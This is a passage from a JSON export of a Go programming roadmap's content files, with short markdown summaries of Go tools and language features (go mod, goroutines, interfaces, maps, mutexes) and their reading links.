    "content": "# go generate\n\nThe `go generate` command executes commands specified in `//go:generate` directives to generate Go source code. Used for code generation from templates, string methods, embedded resources, and running tools like protobuf compilers for build automation.\n\nVisit the following resources to learn more:\n\n- [@official@go generate](https://go.dev/blog/generate)\n- [@article@How to Use //go:generate](https://blog.carlana.net/post/2016-11-27-how-to-use-go-generate/)\n- [@article@Metaprogramming with Go](https://dev.to/hlubek/metaprogramming-with-go-or-how-to-build-code-generators-that-parse-go-code-2k3j)"
  },
  {
    "path": "src/data/roadmaps/golang/content/go-install@k35Ogbvr9yTdJPo4RV4tM.md",
    "content": "# go install\n\nCompiles and installs packages and dependencies. Creates executables in `$GOPATH/bin` for main packages. Use `go install package@version` to install specific versions of tools. Commonly used for installing CLI tools system-wide.\n\nVisit the following resources to learn more:\n\n- [@official@go install](https://go.dev/doc/install)\n- [@official@Managing Go Installations](https://go.dev/doc/manage-install)\n- [@article@Golang: How To Use the Go Install Command](https://thenewstack.io/golang-how-to-use-the-go-install-command/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/go-mod-init@zWXJOXo8dRnuTvYlWOL6r.md",
    "content": "# go mod init\n\nInitializes new Go module by creating `go.mod` file with specified module path (typically repository URL). Marks directory as module root and enables module-based dependency management. First step for any new Go project.\n\nVisit the following resources to learn more:\n\n- [@official@go mod](https://go.dev/doc/tutorial/create-module)\n- [@official@go mod reference](https://go.dev/ref/mod)\n- [@official@Initiating Go Modules with Go Mod Init Explained Simply](https://go.dev/blog/using-go-modules)"
  },
  {
    "path": "src/data/roadmaps/golang/content/go-mod-tidy@6rwVq1bMSHoGatEfm9hkp.md",
    "content": "# go mod tidy\n\nEnsures `go.mod` matches source code by adding missing requirements and removing unused dependencies. Updates `go.sum` with checksums. Essential for maintaining clean dependency management and ensuring reproducible builds before production deployment.\n\nVisit the following resources to learn more:\n\n- [@official@go mod create](https://go.dev/doc/tutorial/create-module)\n- [@official@go mod reference](https://go.dev/ref/mod)\n- [@article@go mod commands](https://blog.devtrovert.com/p/go-get-go-mod-tidy-commands)\n- [@article@What does go mod tidy do?](https://golangbyexamples.com/go-mod-tidy/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/go-mod-vendor@jOiAk5coeDNVXP2QiwQis.md",
    "content": "# go mod vendor\n\nCreates `vendor` directory with dependency copies for bundling with source code. Ensures builds work without internet access. Useful for deployment, air-gapped environments, and complete control over dependency availability.\n\nVisit the following resources to learn more:\n\n- [@article@Vendoring, or go mod vendor: What Is It?](https://victoriametrics.com/blog/vendoring-go-mod-vendor/)\n- [@article@go mod commands](https://blog.devtrovert.com/p/go-get-go-mod-tidy-commands)\n- [@article@Go Modules and Vendors: Simplify Dependency Management](https://mahmoudaljadan.medium.com/go-modules-and-vendors-simplify-dependency-management-in-your-golang-project-a29689eb26b1)"
  },
  {
    "path": "src/data/roadmaps/golang/content/go-mod@5hnaPrYSBzxEIxFeg5tCK.md",
    "content": "# go mod\n\nCommand-line tool for module management. `go mod init` creates module, `go mod tidy` cleans dependencies, `go mod download` fetches modules. Manages go.mod and go.sum files. Essential commands for dependency management and version control.\n\nVisit the following resources to learn more:\n\n- [@official@go mod](https://go.dev/doc/tutorial/create-module)\n- [@article@go mod commands](https://blog.devtrovert.com/p/go-get-go-mod-tidy-commands)\n- [@article@What does go mod tidy do?](https://golangbyexamples.com/go-mod-tidy/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/go-run@rW4QPWIS2TWzFY0Ljny2N.md",
    "content": "# go run\n\nCompiles and executes Go programs in one step without creating executable files. Useful for testing, development, and running scripts. Takes Go source files as arguments. Convenient for quick execution during development without build artifacts.\n\nVisit the following resources to learn more:\n\n- [@official@go run](https://go.dev/doc/tutorial/getting-started)\n- [@article@How to Build and Run Go Programs](https://go-tutorial.com/build-and-run)\n- [@article@How To Build and Install Go Programs](https://www.digitalocean.com/community/tutorials/how-to-build-and-install-go-programs)"
  },
  {
    "path": "src/data/roadmaps/golang/content/go-test@EskFmwCwOmZHcVzedPOJI.md",
    "content": "# go test\n\nCommand for running tests in Go packages. Automatically finds and executes functions starting with `Test`. Supports benchmarks (`Benchmark`), examples (`Example`), and sub-tests. Includes coverage analysis, parallel execution, and various output formats. Essential for TDD and quality assurance.\n\nVisit the following resources to learn more:\n\n- [@official@go test](https://go.dev/doc/tutorial/add-a-test)\n- [@article@How To Write Unit Tests in Go](https://www.digitalocean.com/community/tutorials/how-to-write-unit-tests-in-go-using-go-test-and-the-testing-package)\n- [@article@Testing and Benchmarking in Go](https://medium.com/hyperskill/testing-and-benchmarking-in-go-e33a54b413e)"
  },
  {
    "path": "src/data/roadmaps/golang/content/go-toolchain-and-tools@core-go-commands.md",
    "content": "# Go Toolchain and Tools\n\nThe Go toolchain provides comprehensive development tools through the unified `go` command. It includes the compiler, linker, and utilities for compilation, dependency management, testing, and profiling. This integrated approach simplifies Go development with seamless, consistent tooling.\n\nVisit the following resources to learn more:\n\n- [@official@Go Toolchains](https://go.dev/doc/toolchain)\n- [@article@New in Go 1.21: Toolchains](https://dev.to/eminetto/new-in-go-121-toolchains-5gn0)\n- [@article@How To Write Unit Tests in Go](https://www.digitalocean.com/community/tutorials/how-to-write-unit-tests-in-go-using-go-test-and-the-testing-package)"
  },
  {
    "path": "src/data/roadmaps/golang/content/go-version@LnhQJVsEaS_gSijCUqAMq.md",
    "content": "# go version\n\nDisplays the currently installed Go version, target OS, and architecture. Essential for verifying installation, troubleshooting environment issues, and ensuring compatibility across different development environments and teams.\n\nVisit the following resources to learn more:\n\n- [@official@Go Versions](https://go.dev/dl/)\n- [@article@Updating Go Version](https://www.golang101.com/questions/how-to-update-golang-version/)\n- [@article@How to Check My Golang Version (Win, MacOS, Linux)](https://blog.finxter.com/how-to-check-my-golang-version-win-macos-linux/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/go-vet@qoQ6_5MgTu3ur1mkEgqG5.md",
    "content": "# go vet\n\nBuilt-in tool analyzing Go source code for suspicious constructs likely to be bugs. Checks for unreachable code, incorrect printf formats, struct tag mistakes, and potential nil pointer dereferences. Automatically run by `go test`.\n\nVisit the following resources to learn more:\n\n- [@official@go vet](https://pkg.go.dev/cmd/vet)\n- [@article@Go: Vet Command Is More Powerful Than You Think](https://medium.com/a-journey-with-go/go-vet-command-is-more-powerful-than-you-think-563e9fdec2f5)\n- [@article@Using go vet for Code Analysis](https://medium.com/a-journey-with-go/go-vet-command-is-more-powerful-than-you-think-563e9fdec2f5)"
  },
  {
    "path": "src/data/roadmaps/golang/content/goembed-for-embedding@iIPk-jK1vBCG_rKI_MPiu.md",
    "content": "# go:embed for embedding\n\nThe `go:embed` directive embeds files and directories into Go binaries at compile time using `//go:embed` comments. Useful for including static assets, configs, and templates directly in executables, creating self-contained binaries that don't require external files.\n\nVisit the following resources to learn more:\n\n- [@official@go embed](https://pkg.go.dev/embed)\n- [@article@A Guide to Embedding Static Files in Go](https://www.iamyadav.com/blogs/a-guide-to-embedding-static-files-in-go)\n- [@article@How to Use go:embed in Go?](https://www.scaler.com/topics/golang/golang-embed/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/goimports@6RpfXYHnOGmM6pZ6ZBb29.md",
    "content": "# goimports\n\nTool automatically managing Go import statements by adding missing imports and removing unused ones while formatting code. More convenient than manual import management, integrates with editors for automatic execution on save.\n\nVisit the following resources to learn more:\n\n- [@official@go import](https://go.dev/tour/basics/2)\n- [@article@An introduction to Packages, Imports and Modules in Go](https://www.alexedwards.net/blog/an-introduction-to-packages-imports-and-modules)\n- [@article@Unraveling Packages and Imports in Golang](https://medium.com/hprog99/unraveling-packages-and-imports-in-golang-a-comprehensive-guide-8f0ea320562a)"
  },
  {
    "path": "src/data/roadmaps/golang/content/golangci-lint@hgiNcGh3ggf8dBJ8C0HCL.md",
    "content": "# golangci-lint\n\nFast, parallel runner for multiple Go linters including staticcheck, go vet, and revive. Provides unified configuration, output formatting, and performance optimization. Streamlines code quality workflows through a single comprehensive tool.\n\nVisit the following resources to learn more:\n\n- [@official@golangci-lint](https://golangci-lint.run/)\n- [@official@golangci-linters](https://golangci-lint.run/usage/linters/)\n- [@opensource@golangci/golangci-lint](https://github.com/golangci/golangci-lint)"
  },
  {
    "path": "src/data/roadmaps/golang/content/gorm@fJdZIbAgOAB8nOEHQNsq6.md",
    "content": "# GORM\n\nPopular Object-Relational Mapping library for Go. Provides database abstraction with struct-based models, automatic migrations, associations, and query building. Supports multiple databases (MySQL, PostgreSQL, SQLite, SQL Server). Features hooks, transactions, and connection pooling.\n\nVisit the following resources to learn more:\n\n- [@official@GORM - The fantastic ORM library for Golang](https://gorm.io/)\n- [@official@gorm package](https://pkg.go.dev/gorm.io/gorm)\n- [@article@Getting Started on Golang Gorm](https://medium.com/@itskenzylimon/getting-started-on-golang-gorm-af49381caf3f)"
  },
  {
    "path": "src/data/roadmaps/golang/content/goroutines@08QOxnF3rKEDekrkX7w1j.md",
    "content": "# Goroutines\n\nLightweight threads managed by Go runtime enabling concurrent function execution. Created with `go` keyword prefix. Minimal memory overhead, can run thousands/millions concurrently. Runtime handles scheduling across CPU cores. Communicate through channels, fundamental to Go's concurrency.\n\nVisit the following resources to learn more:\n\n- [@official@Goroutines](https://go.dev/tour/concurrency/1)\n- [@article@Goroutines - Concurrency in Golang](https://golangbot.com/goroutines/)\n- [@article@Goroutines in Golang: Understanding and Implementing](https://medium.com/@jamal.kaksouri/goroutines-in-golang-understanding-and-implementing-concurrent-programming-in-go-600187bcfaa2)"
  },
  {
    "path": "src/data/roadmaps/golang/content/goto-discouraged@O29VoTfPiU8GZ_c16ZJIp.md",
    "content": "# goto (discouraged)\n\nGo includes `goto` statement but discourages its use. Can only jump to labels within same function. Creates unstructured code flow making programs hard to read, debug, and maintain. Use structured control flow (loops, functions, conditionals) instead. Rarely needed in modern Go programming.\n\nVisit the following resources to learn more:\n\n- [@official@Label scopes](https://go.dev/ref/spec#Label_scopes)\n- [@official@Goto statements](https://go.dev/ref/spec#Goto_statements)\n- [@article@Goto Statement Usage](https://labex.io/tutorials/go-goto-statement-usage-149074)\n- [@article@GoLang — Jumping in the code using goto](https://medium.com/@rajasoni1995/golang-jumping-in-the-code-using-goto-a36116831396)\n- [@article@Goto Hell With Labels in Golang](https://programmingpercy.tech/blog/goto-hell-with-labels-in-golang/)\n"
  },
  {
    "path": "src/data/roadmaps/golang/content/govulncheck@K__satcG2ETNRFBpPqrLw.md",
    "content": "# govulncheck\n\nGo's official vulnerability scanner checking code and dependencies for known security vulnerabilities. Reports packages with vulnerabilities from Go database, provides severity info and remediation advice. Essential for maintaining secure applications.\n\nVisit the following resources to learn more:\n\n- [@official@govulncheck](https://go.dev/doc/tutorial/govulncheck)\n- [@article@Using govulncheck to Detect Vulnerable Dependencies in Go](https://medium.com/@caring_smitten_gerbil_914/%EF%B8%8F-using-govulncheck-to-detect-vulnerable-dependencies-in-go-627a634f1edd)"
  },
  {
    "path": "src/data/roadmaps/golang/content/grpc--protocol-buffers@tBY6UB3gWZAxHPCFHoU_d.md",
    "content": "# gRPC & Protocol Buffers\n\ngRPC is a high-performance RPC framework using Protocol Buffers for serialization. Provides streaming, authentication, load balancing, and code generation from `.proto` files. Excellent for microservices with type safety, efficient binary format, and cross-language compatibility.\n\nVisit the following resources to learn more:\n\n- [@official@gRPC package](https://pkg.go.dev/google.golang.org/grpc)\n- [@article@Building a GRPC Micro-Service in Go: A Comprehensive Guide](https://medium.com/@leodahal4/building-a-grpc-micro-service-in-go-a-comprehensive-guide-82b6812ed253)\n- [@article@Understanding gRPC in Golang: A Comprehensive Guide](https://dev.to/madhusgowda/understanding-grpc-in-golang-a-comprehensive-guide-with-examples-84c)"
  },
  {
    "path": "src/data/roadmaps/golang/content/hello-world-in-go@PHHviBSqhYDSNuHBFbw3l.md",
    "content": "# Hello World in Go\n\nTraditional first program demonstrating basic structure: `package main`, importing `fmt`, and `main()` function using `fmt.Println()`. Teaches Go syntax, compilation, execution, and verifies development environment setup. Entry point for learning Go.\n\nVisit the following resources to learn more:\n\n- [@official@Go Documentation](https://go.dev/doc/)\n- [@official@Get Started with Go](https://go.dev/doc/tutorial/getting-started)\n- [@article@Getting Started with Go and the Web](https://dev.to/markmunyaka/getting-started-with-go-and-the-web-hello-world-nal)\n- [@article@Understanding Golang: A Comprehensive Guide](https://www.learn-golang.org/en/Hello%2C_World%21)"
  },
  {
    "path": "src/data/roadmaps/golang/content/history-of-go@2rlmLn_yQQV-7DpX1qT98.md",
    "content": "# History of Go\n\nCreated at Google in 2007 by Griesemer, Pike, and Thompson. Announced publicly in 2009, version 1.0 in 2012. Key milestones include modules (Go 1.11) and generics (Go 1.18). Designed for large-scale software development combining efficiency and simplicity.\n\nVisit the following resources to learn more:\n\n- [@official@Go Documentation](https://go.dev/doc/)\n- [@article@Go — How It All Began. A look back at the beginning of Go](https://medium.com/geekculture/learn-go-part-1-the-beginning-723746f2e8b0)\n- [@article@Understanding Golang: A Comprehensive Guide](https://www.learn-golang.org/en/Hello%2C_World%21)"
  },
  {
    "path": "src/data/roadmaps/golang/content/httptest--for-http-tests@Zt4FpqCEVlpMzclJeDiMs.md",
    "content": "# httptest for HTTP Tests\n\nThe `httptest` package provides utilities for testing HTTP servers and clients without network connections. Includes `httptest.Server`, `ResponseRecorder`, and helpers for creating test requests. Essential for testing handlers, middleware, and HTTP services.\n\nVisit the following resources to learn more:\n\n- [@official@httptest package](https://pkg.go.dev/net/http/httptest)\n- [@article@Using httptest.Server in Go to Mock and Test External API Calls](https://medium.com/@ullauri.byron/using-httptest-server-in-go-to-mock-and-test-external-api-calls-68ce444cf934)\n- [@article@Httptest Example](https://golang.cafe/blog/golang-httptest-example.html)"
  },
  {
    "path": "src/data/roadmaps/golang/content/if-else@2XaDvTJ5pyChgt1GFZF8W.md",
    "content": "# if-else\n\nBasic conditional statements for binary decision making. `if` tests condition, `else` handles alternative path. Can include optional initialization statement. No parentheses needed around condition but braces required. Foundation of program control flow.\n\nVisit the following resources to learn more:\n\n- [@official@if else](https://go.dev/tour/flowcontrol/7)\n- [@article@If-else: Gobyexample](https://gobyexample.com/if-else)"
  },
  {
    "path": "src/data/roadmaps/golang/content/if@dC-1LotbW29C4zZJv6ak6.md",
    "content": "# if\n\nBasic conditional statement for executing code based on boolean conditions. Supports optional initialization statement before condition check. No parentheses required around condition but braces mandatory. Can be chained with else if for multiple conditions. Foundation of control flow.\n\nVisit the following resources to learn more:\n\n- [@official@if else](https://go.dev/tour/flowcontrol/7)\n- [@article@If-else: Gobyexample](https://gobyexample.com/if-else)\n- [@article@Understanding the If Statement in Golang](https://www.zetcode.com/golang/if-else-keywords/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/integers-signed-unsigned@EAqL8Up3J63AWCZnqQph0.md",
    "content": "# Integers (Signed, Unsigned)\n\nSigned integers (int8, int16, int32, int64) handle positive/negative numbers. Unsigned (uint8, uint16, uint32, uint64) handle only non-negative but larger positive range. `int`/`uint` are platform-dependent. Choose based on range and memory needs.\n\nVisit the following resources to learn more:\n\n- [@article@Integers](https://golangdocs.com/integers-in-golang)\n- [@article@Understanding Integer Types in Go](https://medium.com/@LukePetersonAU/understanding-integer-types-in-go-a55453f5ae00)"
  },
  {
    "path": "src/data/roadmaps/golang/content/interfaces-basics@nkONsPlFYCMqzWHTm_EPB.md",
    "content": "# Interfaces Basics\n\nDefine contracts through method signatures. Types automatically satisfy interfaces by implementing required methods. Declared with `type InterfaceName interface{}` syntax. Enable polymorphism and flexible, testable code depending on behavior rather than concrete types.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding Interfaces in Go](https://golang.ntxm.org/docs/structs-and-interfaces/understanding-interfaces-in-go/)\n- [@article@Interfaces - Go by Example](https://gobyexample.com/interfaces)\n- [@article@Mastering Go Interfaces: From Basics to Best Practices](https://abubakardev0.medium.com/mastering-go-interfaces-from-basics-to-best-practices-36912b65aa3d)"
  },
  {
    "path": "src/data/roadmaps/golang/content/interfaces@hIRMnPyHRGh8xCU8BTS2n.md",
    "content": "# Interfaces\n\nDefine contracts specifying method signatures without implementation. Types satisfy interfaces implicitly by implementing required methods. Enable polymorphism and loose coupling. Empty interface `interface{}` accepts any type. Foundation of Go's type system and composition patterns.\n\nVisit the following resources to learn more:\n\n- [@article@Interfaces - Go by Example](https://gobyexample.com/interfaces)\n- [@article@Mastering Go Interfaces: From Basics to Best Practices](https://abubakardev0.medium.com/mastering-go-interfaces-from-basics-to-best-practices-36912b65aa3d)"
  },
  {
    "path": "src/data/roadmaps/golang/content/interpreted-string-literals@7h08RUNC_uAMI6vnGdcZ1.md",
    "content": "# Interpreted String Literals\n\nEnclosed in double quotes (`\"`) and process escape sequences like `\\n`, `\\t`, `\\\"`. Support Unicode characters and formatting. Most common string type, ideal for text needing control characters but requiring escaping of special characters.\n\nVisit the following resources to learn more:\n\n- [@article@How to handle string literal syntax](https://www.digitalocean.com/community/tutorials/an-introduction-to-working-with-strings-in-go)\n- [@article@Lexical elements: Interpreted string literals](https://boldlygo.tech/archive/2023-01-30-lexical-elements-interpreted-string-literals/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/introduction-to-go@WwLLyHL5psm0GOI9bmOne.md",
    "content": "# Introduction to Go\n\nStatically typed, compiled programming language developed at Google. Designed for simplicity, concurrency, and performance. Features garbage collection, strong typing, efficient compilation, built-in concurrency with goroutines and channels. Excellent for backend services, CLI tools, and distributed systems.\n\nVisit the following resources to learn more:\n\n- [@official@Go](https://go.dev/)\n- [@official@Go Documentation](https://go.dev/doc/)\n- [@official@Get Started with Go](https://go.dev/doc/tutorial/getting-started)\n- [@article@Getting Started with Go and the Web](https://dev.to/markmunyaka/getting-started-with-go-and-the-web-hello-world-nal)"
  },
  {
    "path": "src/data/roadmaps/golang/content/io--file-handling@7SYEXD5r9WKEDfecQdO5d.md",
    "content": "# I/O & File Handling\n\nGo's I/O system provides comprehensive file and stream handling through `io` package interfaces (Reader, Writer, Closer) and `os` package file operations. The interface-based design allows working with files, network connections, and buffers using consistent patterns.\n\nVisit the following resources to learn more:\n\n- [@article@Building High-Performance File Processing Pipelines in Go](https://dev.to/aaravjoshi/building-high-performance-file-processing-pipelines-in-go-a-complete-guide-3opm)\n- [@article@Mastering File I/O in Go: A Complete Guide](https://thelinuxcode.com/golang-os-open/)\n- [@article@Golang Fundamentals: File Handling and I/O](https://medium.com/@nagarjun_nagesh/golang-fundamentals-file-handling-and-i-o-502d50b96795)"
  },
  {
    "path": "src/data/roadmaps/golang/content/iterating-maps@Q6ic-AGG_gnXEOdmqom89.md",
    "content": "# Iterating Maps\n\nUse `for range` to iterate over maps, returns key and value pairs. Iteration order is random for security reasons. Use blank identifier `_` to ignore key or value. Cannot modify map during iteration unless creating new map. Safe to delete during iteration.\n\nVisit the following resources to learn more:\n\n- [@article@Iterating Over Maps in Go: Methods, Order, and Best Practices](https://leapcell.io/blog/iterating-over-maps-in-go-methods-order-and-best-practices)\n- [@article@How to iterate over and order a map in Go](https://freshman.tech/snippets/go/iterate-over-map/)\n"
  },
  {
    "path": "src/data/roadmaps/golang/content/iterating-strings@PC-azlCZ6wDCn1_nRyhUn.md",
    "content": "# Iterating Strings\n\nIterate over strings with `for range` to get runes (Unicode code points) not bytes. Returns index and rune value. Direct indexing `str[i]` gives bytes. Use `[]rune(str)` to convert to rune slice for random access. Important for Unicode handling.\n\nVisit the following resources to learn more:\n\n- [@article@Iterators in GoLang](https://blog.alexoglou.com/posts/iterators-golang/)\n- [@article@How to iterate string in Go](https://labex.io/tutorials/go-how-to-iterate-string-in-go-446115)\n- [@article@Mastering Golang String Manipulation: Functions and Examples](https://learngolanguage.com/mastering-golang-string-manipulation-essential-functions-and-techniques-for-2024/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/json@uB1fE15OprBcwN7p7ffJF.md",
    "content": "# Encoding / JSON\n\nThis package provides robust and efficient functionalities for marshaling (encoding) Go data structures into JSON and unmarshaling (decoding) JSON into Go data structures. This process is largely handled through the json.Marshal and json.Unmarshal functions. For a Go struct to be properly encoded or decoded, its fields must be exported (start with an uppercase letter). Developers can control the JSON field names and omit empty fields using struct tags like json:\"fieldName,omitempty\".\n\nVisit the following resources to learn more:\n\n- [@official@Empty Interface](https://go.dev/tour/methods/14)\n- [@article@Understanding the empty interface in Go](https://dev.to/flrnd/understanding-the-empty-interface-in-go-4652)"
  },
  {
    "path": "src/data/roadmaps/golang/content/linters@static-analysis.md",
    "content": "# Linters\n\nStatic analysis tools examining source code for errors, style violations, and quality issues without execution. Popular tools include revive, staticcheck, and golangci-lint. Integrate into editors and CI/CD pipelines to catch issues early and maintain consistent code standards.\n\nVisit the following resources to learn more:\n\n- [@article@Golang Linters](https://golangci-lint.run/usage/linters/)\n- [@article@A Complete Guide to Linting Go Programs](https://freshman.tech/linting-golang/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/logging@mGia5cJ7HFVXM0Fx5xhQE.md",
    "content": "# Logging\n\nEssential for monitoring, debugging, maintaining production applications. Standard `log` package and `slog` (Go 1.21+) for structured logging. Popular libraries: Zap (high-performance), Zerolog (zero-allocation), Logrus (feature-rich). Use appropriate log levels and structured messages.\n\nVisit the following resources to learn more:\n\n- [@official@Structured Logging with slog](https://go.dev/blog/slog)\n- [@article@Logging in Go with Slog: The Ultimate Guide](https://betterstack.com/community/guides/logging/logging-in-go/)\n- [@article@Effective Logging in Go: Best Practices and Implementation](https://dev.to/fazal_mansuri_/effective-logging-in-go-best-practices-and-implementation-guide-23hp)"
  },
  {
    "path": "src/data/roadmaps/golang/content/loops@orpxzKHFcf1BDQSefHl6O.md",
    "content": "# Loops\n\nGo has only one looping construct: the flexible `for` loop. Basic form has initialization, condition, post statement. Supports `for range` for arrays, slices, maps, strings, channels. Can create infinite loops or while-style loops. Control with `break` and `continue`.\n\nVisit the following resources to learn more:\n\n- [@official@Loops](https://go.dev/tour/flowcontrol/1)\n- [@article@Loops in GoLang. GoLang Loops, For Loop, While loop](https://nitish08.medium.com/loops-in-golang-d44fb39b08e)\n- [@article@Everything You Need to Know About for Loops in Go](https://www.bytesizego.com/blog/golang-for-loop)"
  },
  {
    "path": "src/data/roadmaps/golang/content/make@PWrfmYnOJRlwgdFat91bC.md",
    "content": "# make()\n\nCreates and initializes slices, maps, and channels. Unlike `new()`, returns usable values. Examples: `make([]int, 5, 10)` for slices, `make(map[string]int)` for maps, `make(chan int)` for channels. Essential for initializing reference types.\n\nVisit the following resources to learn more:\n\n- [@official@make](https://go.dev/tour/moretypes/13)\n- [@article@The new() vs make() Functions in Go](https://www.freecodecamp.org/news/new-vs-make-functions-in-go/)\n- [@video@Make vs New in Golang - Video](https://www.youtube.com/watch?v=1rBhOCh7ojg)\n- [@article@Understanding the make Function in Golang](https://www.zetcode.com/golang/builtins-make/)\n"
  },
  {
    "path": "src/data/roadmaps/golang/content/maps@XupDuVRsM5VjdaNs7JaT5.md",
    "content": "# Maps\n\nBuilt-in associative data type mapping keys to values. Reference types created with `make(map[KeyType]ValueType)` or map literals. Keys must be comparable types. Support insertion, deletion, lookup operations. Check existence with comma ok idiom: `value, ok := map[key]`.\n\nVisit the following resources to learn more:\n\n- [@official@Maps](https://go.dev/blog/maps)\n- [@article@Mastering Go Maps: Best Practices & Pro Tips](https://blog.stackademic.com/golang-use-maps-like-pro-the-proper-way-to-use-maps-in-golang-7a20c805540c)\n- [@article@Understanding HashMaps in DSA](https://medium.com/@nikhil.cse16/understanding-hashmaps-in-dsa-5450c6ec2e75)"
  },
  {
    "path": "src/data/roadmaps/golang/content/melody@N0EG-7sU9lGFwgidXuPkV.md",
    "content": "# Melody\n\nMelody is a minimalist WebSocket framework for Go providing simple session management, message broadcasting, and connection handling. Features include rooms, automatic ping/pong, message limits, and clean integration with existing web frameworks for real-time apps.\n\nVisit the following resources to learn more:\n\n- [@official@Melody Package](https://pkg.go.dev/github.com/olahol/melody)\n- [@opensource@olahol/melody: Minimalist websocket framework](https://github.com/olahol/melody)\n- [@article@Build a Realtime Chat Server With Go and WebSockets](https://gabrieltanner.org/blog/realtime-chat-go-websockets/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/memory-management@ItMgLOzaUCCdiTk221pAF.md",
    "content": "# Memory Management\n\nLargely automatic through garbage collection. Runtime decides stack (fast, auto-cleaned) vs heap (slower, GC required) allocation via escape analysis. Understanding allocation patterns and avoiding memory leaks helps write efficient, scalable Go programs.\n\nVisit the following resources to learn more:\n\n- [@official@The Go Memory Model](https://go.dev/ref/mem)\n- [@article@An overview of memory management in Go](https://medium.com/safetycultureengineering/an-overview-of-memory-management-in-go-9a72ec7c76a8)\n- [@article@How Go Manages Memory and Why It's So Efficient](https://medium.com/@siddharthnarayan/how-go-manages-memory-and-why-its-so-efficient-68c13133ba1c)"
  },
  {
    "path": "src/data/roadmaps/golang/content/memory-mgmt-in-depth@_2JpTdzmXxszFCauJONCi.md",
    "content": "# Memory Management in Depth\n\nDeep memory management involves understanding garbage collection, escape analysis, allocation patterns, and optimization techniques. Covers stack vs heap allocation, memory pooling, reducing allocations, and GC interaction for high-performance applications.\n\nVisit the following resources to learn more:\n\n- [@official@The Go Memory Model](https://go.dev/ref/mem)\n- [@article@A Deep Dive into Golang Memory](https://mtardy.com/posts/memory-golang/)\n- [@article@How Go Manages Memory and Why It's So Efficient](https://medium.com/@siddharthnarayan/how-go-manages-memory-and-why-its-so-efficient-68c13133ba1c)"
  },
  {
    "path": "src/data/roadmaps/golang/content/methods-vs-functions@jx1vln8hqRJqVZfJi6CST.md",
    "content": "# Methods vs Functions\n\nMethods are functions with receiver arguments, defined outside type declaration. Enable object-like behavior on types. Functions are standalone, methods belong to specific types. Methods can have value or pointer receivers. Both can accept parameters and return values.\n\nVisit the following resources to learn more:\n\n- [@official@Methods](https://go.dev/tour/methods/1)\n- [@article@Golang Methods Tutorial [Practical Examples]](https://www.golinuxcloud.com/golang-methods/)\n- [@article@Golang Functions vs Methods, why and when to use them](https://medium.com/@yuseferi/golang-functions-vs-methods-why-and-when-to-use-them-5b63fa1dc7f3)"
  },
  {
    "path": "src/data/roadmaps/golang/content/mocks-and-stubs@LjLbm4JEZ19howOkju7zQ.md",
    "content": "# Mocks and Stubs\n\nMocks and stubs replace dependencies with controlled implementations for isolated testing. Stubs provide predefined responses while mocks verify method calls. Go's interfaces make mocking natural. Essential for testing without external dependencies.\n\nVisit the following resources to learn more:\n\n- [@article@Test-Driven Development in Golang: Stubbing vs Mocking vs Not Mocking](https://blog.stackademic.com/test-driven-development-in-golang-stubbing-vs-mocking-vs-not-mocking-5f23f25b3a63)\n- [@article@Mock Solutions for Golang Unit Test](https://laiyuanyuan-sg.medium.com/mock-solutions-for-golang-unit-test-a2b60bd3e157)\n- [@article@Writing unit tests in Golang Part 2: Mocking](https://medium.com/nerd-for-tech/writing-unit-tests-in-golang-part-2-mocking-d4fa1701a3ae)\n- [@video@Mocks (Mocking), Stubs, and Fakes in Software Testing](https://www.youtube.com/watch?v=Ir7dl7XX9r4)\n"
  },
  {
    "path": "src/data/roadmaps/golang/content/modules--dependencies@kep_536v13aS1V9XwHKSr.md",
    "content": "# Modules & Dependencies\n\nGo modules are the dependency management system introduced in Go 1.11. Define module with `go.mod` file containing module path and dependencies. Use `go get` to add dependencies, `go mod tidy` to clean up. Supports semantic versioning and replacement directives. Essential for modern Go development.\n\nVisit the following resources to learn more:\n\n- [@official@go mod](https://go.dev/doc/tutorial/create-module)\n- [@official@go mod reference](https://go.dev/ref/mod)\n- [@article@go mod commands](https://blog.devtrovert.com/p/go-get-go-mod-tidy-commands)\n- [@article@What does go mod tidy do?](https://golangbyexamples.com/go-mod-tidy/)"
  },
  {
    "path": "src/data/roadmaps/golang/content/multiple-return-values@ai2s1bwiTcPzrXQTxFDwV.md",
    "content": "# Multiple Return Values\n\nGo functions can return multiple values, commonly used for returning result and error. Syntax: `func name() (Type1, Type2)`. Caller receives all returned values or uses blank identifier `_` to ignore unwanted values. Idiomatic for error handling pattern.\n\nVisit the following resources to learn more:\n\n- [@article@How to manage Go function multiple returns](https://labex.io/tutorials/go-how-to-manage-go-function-multiple-returns-419825)\n"
  },
  {
    "path": "src/data/roadmaps/golang/content/mutexes@6ydgmac11Zu9Ithe0kKj9.md",
    "content": "# Mutexes\n\nMutual exclusion locks from sync package ensuring only one goroutine accesses shared resource at a time. Use `Lock()` before and `Unlock()` after critical section. RWMutex allows multiple readers or single writer. Essential for protecting shared data from race conditions.\n\nVisit the following resources to learn more:\n\n- [@article@What is Mutex and How to Use it in Golang?](https://dev.to/lincemathew/what-is-mutex-and-how-to-use-it-in-golang-1m1i)\n- [@article@Understanding Mutex in Go Introduction](https://kamnagarg-10157.medium.com/understanding-mutex-in-go-5f41199085b9)"
  },
  {
    "path": "src/data/roadmaps/golang/content/named-return-values@HIvwT8Dcr6B2NjOjy9hFv.md",
    "content": "# Named Return Values\n\nFunction return parameters can be named and treated as variables within function. Initialized to zero values. `return` statement without arguments returns current values of named parameters. Improves readability and enables easier refactoring but use judiciously.\n\nVisit the following resources to learn more:\n\n- [@article@Named Return Values](https://yourbasic.org/golang/named-return-values-parameters/)\n- [@article@Named Return Values in Go](https://golang.ntxm.org/docs/functions-in-go/named-return-values/)\n- [@article@Named Parameters in Go: Use Cases and Cautions](https://medium.com/@adamszpilewicz/named-parameters-in-go-use-cases-and-cautions-e0e462cafdaa)"
  },
  {
    "path": "src/data/roadmaps/golang/content/nethttp-standard@NMLmbKjfMSqz-Iz2CooCl.md",
